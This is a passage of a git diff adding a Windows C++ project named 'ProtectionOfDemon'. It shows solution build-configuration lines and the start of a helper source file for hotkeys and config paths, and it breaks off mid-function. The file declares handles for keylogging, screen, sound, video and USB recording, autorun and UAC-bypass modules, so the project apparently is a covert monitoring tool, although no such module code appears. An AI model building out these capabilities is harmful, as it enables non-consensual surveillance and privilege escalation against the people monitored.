+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Release|Win32.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Debug|Win32.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Debug|Win32.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Debug|x64.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Release|Win32.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Release|Win32.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Release|x64.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Release|Win32.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Release|Win32.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {CD128C30-310D-4D89-AEE9-734D6E87C30E}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Debug|Win32.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Debug|Win32.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Debug|x64.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Release|Win32.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Release|Win32.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Release|x64.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Release|Win32.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Release|Win32.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {E75D6B26-D95A-4C22-88F0-F5103724C5E4}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Debug|Win32.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Debug|Win32.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Debug|x64.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Release|Win32.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Release|Win32.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Release|x64.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Debug|Win32.Deploy.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Release|Win32.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Release|Win32.Deploy.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Debug|Win32.Deploy.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Release|Win32.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Release|Win32.Deploy.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Debug|Win32.Deploy.0 = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Release|Win32.Deploy.0 = Release|Win32
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Debug|Mixed Platforms.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Debug|Mixed Platforms.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Debug|Win32.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Debug|Win32.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Debug|x64.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Release|Mixed Platforms.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Release|Win32.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Release|Win32.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Release|x64.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Debug|Win32.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Debug|Win32.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Debug|x64.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Release|Mixed Platforms.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Release|Win32.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Release|Win32.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win7 Release|x64.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Debug|Win32.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Debug|Win32.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Debug|x64.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Release|Mixed Platforms.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Release|Win32.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Release|Win32.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8 Release|x64.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Debug|Mixed Platforms.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Debug|Win32.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Debug|Win32.Build.0 = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Debug|x64.ActiveCfg = Debug|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Release|Mixed Platforms.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Release|Mixed Platforms.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Release|Win32.ActiveCfg = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Release|Win32.Build.0 = Release|Win32
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}.Win8.1 Release|x64.ActiveCfg = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/ProtectionOfDemon/ProtectionOfDemon.v12.suo b/ProtectionOfDemon/ProtectionOfDemon.v12.suo
new file mode 100644
index 0000000..2c9b95c
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon.v12.suo differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/MyGlobalData.cpp b/ProtectionOfDemon/ProtectionOfDemon/MyGlobalData.cpp
new file mode 100644
index 0000000..a3cb4d8
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/MyGlobalData.cpp
@@ -0,0 +1,183 @@
+#include "stdafx.h"
+#include "MyGlobalData.h"
+
+#include "SkinPPWTL.h"
+#pragma comment(lib, "SkinPPWTL.lib")
+
+
+
+HMODULE g_AutoRunDll = NULL;
+HMODULE g_KeyboardRecordDll = NULL;
+HMODULE g_ScreenCaptureDll = NULL;
+HMODULE g_ScreenRecordDll = NULL;
+HMODULE g_SoundRecordDll = NULL;
+HMODULE g_UDiskRecordDll = NULL;
+HMODULE g_VideoRecordDll = NULL;
+HMODULE g_ShutdownTimerDll = NULL;
+HMODULE g_ByPassUACDll = NULL;
+HMODULE g_ScreenRecordAviDll = NULL;
+
+UINT g_uVideoRecordTime = 0;
+UINT g_uSoundRecordTime = 0;
+UINT g_uScreenRecordTime = 0;
+
+char *g_lpszConfigFileName = NULL;
+
+
+
+
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "ProtectionOfDemon", MB_OK | MB_ICONERROR);
+}
+
+
+void ShowCtrlInfo(HWND hParentWnd, UINT uCtrlID, char *lpszText)
+{
+ HWND hWnd = ::GetDlgItem(hParentWnd, uCtrlID);
+ ::SetWindowText(hWnd, lpszText);
+}
+
+
+char* GetConfigFileName()
+{
+ if (NULL == g_lpszConfigFileName)
+ {
+ g_lpszConfigFileName = new char[MAX_PATH];
+ }
+ ::GetModuleFileName(NULL, g_lpszConfigFileName, MAX_PATH);
+ char *p = ::strrchr(g_lpszConfigFileName, '\\');
+ p[0] = '\0';
+ ::lstrcat(g_lpszConfigFileName, "\\protectionofdemonconfig.ini");
+
+ return g_lpszConfigFileName;
+}
+
+
+
+/*
+注:以下CHotKeyCtrl情况的环境是ATL,不知MFC中是否如此,没有验证,需注意
+1. 某些情况下,不允许只输入一个不带fsModifiers只有VK键的情况下,可以使用
+m_editHotkey.SetRules(HKCOMB_NONE, HOTKEYF_CONTROL | HOTKEYF_ALT); //关键是HKCOMB_NONE参数
+2. CHotKeyCtrl::SetHotKey和GetHotKey中的wModifiers和RegisterHotKey中的fsModifiers不同:
+a.从CHotKeyCtrl控件得到的Alt和Shift分别是HOTKEYF_ALT和HOTKEYF_SHIFT,而RegisterHotKey中的
+Alt和Shift则为MOD_ALT和MOD_SHIFT,所以GetHotKey之后,若要注册则需要进行转换
+*/
+WORD Modifiers_HKCtrl_to_RegisterHK(WORD wSource)
+{
+ //#define HOTKEYF_SHIFT 0x01
+ //#define HOTKEYF_CONTROL 0x02
+ //#define HOTKEYF_ALT 0x04
+ //#define MOD_ALT 0x0001
+ //#define MOD_CONTROL 0x0002
+ //#define MOD_SHIFT 0x0004
+ //#define MOD_WIN 0x0008
+ WORD wRet = wSource;
+ wRet &= ~HOTKEYF_EXT; //过滤多余的可能多加的值0x1000
+ if (wSource & HOTKEYF_ALT && wSource & HOTKEYF_SHIFT)
+ {
+ wSource &= ~HOTKEYF_ALT;
+ wSource &= ~HOTKEYF_SHIFT;
+
+ wRet |= MOD_ALT;
+ wRet |= MOD_SHIFT;
+ }
+ else
+ {
+ if (wSource & HOTKEYF_ALT)
+ {
+ wRet &= ~HOTKEYF_ALT;
+ wRet |= MOD_ALT;
+ }
+ if (wSource & HOTKEYF_SHIFT)
+ {
+ wRet &= ~HOTKEYF_SHIFT;
+ wRet |= MOD_SHIFT;
+ }
+ }
+
+ return wRet;
+}
+
+// b. SetHotKey时,也需要调用相关的转换函数
+WORD Modifiers_RegisterHK_to_HKCtrl(WORD wSource)
+{
+ //#define HOTKEYF_SHIFT 0x01
+ //#define HOTKEYF_CONTROL 0x02
+ //#define HOTKEYF_ALT 0x04
+ //#define MOD_ALT 0x0001
+ //#define MOD_CONTROL 0x0002
+ //#define MOD_SHIFT 0x0004
+ //#define MOD_WIN 0x0008
+ WORD wRet = wSource;
+ if (wSource & MOD_ALT && wSource & MOD_SHIFT)
+ {
+ wRet &= ~MOD_ALT;
+ wRet &= ~MOD_SHIFT;
+
+ wRet |= HOTKEYF_ALT;
+ wRet |= HOTKEYF_SHIFT;
+ }
+ else
+ {
+ if (wSource & MOD_ALT)
+ {
+ wRet &= ~MOD_ALT;
+ wRet |= HOTKEYF_ALT;
+ }
+ if (wSource & MOD_SHIFT)
+ {
+ wRet &= ~MOD_SHIFT;
+ wRet |= HOTKEYF_SHIFT;
+ }
+ }
+ return wRet;
+}
+
+
+void GetCurrentPath(char *lpszCurrentPath)
+{
+ char szFileName[MAX_PATH] = {0};
+ ::GetModuleFileName(NULL, szFileName, MAX_PATH);
+ // strrchr函数是查找字符串指定字符的最后一次出现的字符位置,并将最后一字出现字符的地址返回
+ char *lpFind = ::strrchr(szFileName, '\\');
+ if (lpFind)
+ {
+ lpFind[0] = '\0';
+ }
+ ::lstrcpy(lpszCurrentPath, szFileName);
+}
+
+
+// 获取当前目录
+void GetCurrentPath(char *lpszCurrentPath, DWORD dwSize)
+{
